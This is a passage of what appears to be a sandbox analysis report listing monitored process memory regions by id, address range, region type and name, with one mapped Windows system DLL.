start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8238 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8239 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8240 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8241 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8242 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8243 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8244 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8245 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8246 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8247 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8248 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8249 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8250 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8251 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8252 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8253 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8254 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8255 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8256 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8257 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8258 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8259 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8260 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8261 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8262 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8263 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8264 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8265 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8266 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8267 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8268 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8269 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8270 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8271 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8272 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8273 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8274 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8275 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8276 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8277 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8278 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8279 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8280 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8281 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8282 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8283 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8284 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8285 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8286 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8287 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8291 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8292 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8293 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8294 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8295 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8296 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8297 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8298 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8299 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8300 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8301 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8302 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8303 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8304 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8305 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8306 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8307 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8308 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8309 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8310 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8312 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8313 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8314 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8315 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8316 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8317 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8318 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8319 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8320 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8321 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8322 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8323 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8324 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8325 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8326 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8327 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8328 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8329 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8330 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8331 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8332 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8333 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8334 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8335 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8336 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8337 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8338 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8339 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8340 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8341 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8342 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8343 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8344 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8345 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8346 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8347 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8348 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8349 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8350 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8351 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8352 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8353 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8354 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8357 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8358 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8359 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8360 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8361 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8362 start_va = 0x7ffd44e10000 end_va = 0x7ffd44eb2fff monitored = 0 entry_point = 0x7ffd44e24810 region_type = mapped_file name = "wpnapps.dll" filename = "\\Windows\\System32\\wpnapps.dll" (normalized: "c:\\windows\\system32\\wpnapps.dll") Region: id = 8363 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8364 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8365 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8367 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8368 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8369 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8370 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8371 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8372 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8373 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8374 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8375 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8376 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8377 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8378 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8379 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8380 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8381 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8383 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8384 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8385 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8386 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8387 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8388 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8389 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8390 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8391 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8392 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8393 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8394 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8395 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8396 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8397 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8398 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8399 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8400 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8401 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8402 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8403 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8404 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8405 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8406 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8407 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8408 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8409 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8410 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8411 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8412 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8413 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8414 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8415 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8416 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8417 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 8418 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 8419 start_va = 0x8fd0000 end_va = 0x90c9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008fd0000" filename = "" Region: id = 8420 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8421 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8422 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8423 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8424 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8425 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8426 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8427 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8428 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8429 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8430 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8431 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8432 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8433 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8434 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 8435 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8436 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8437 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 8438 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" 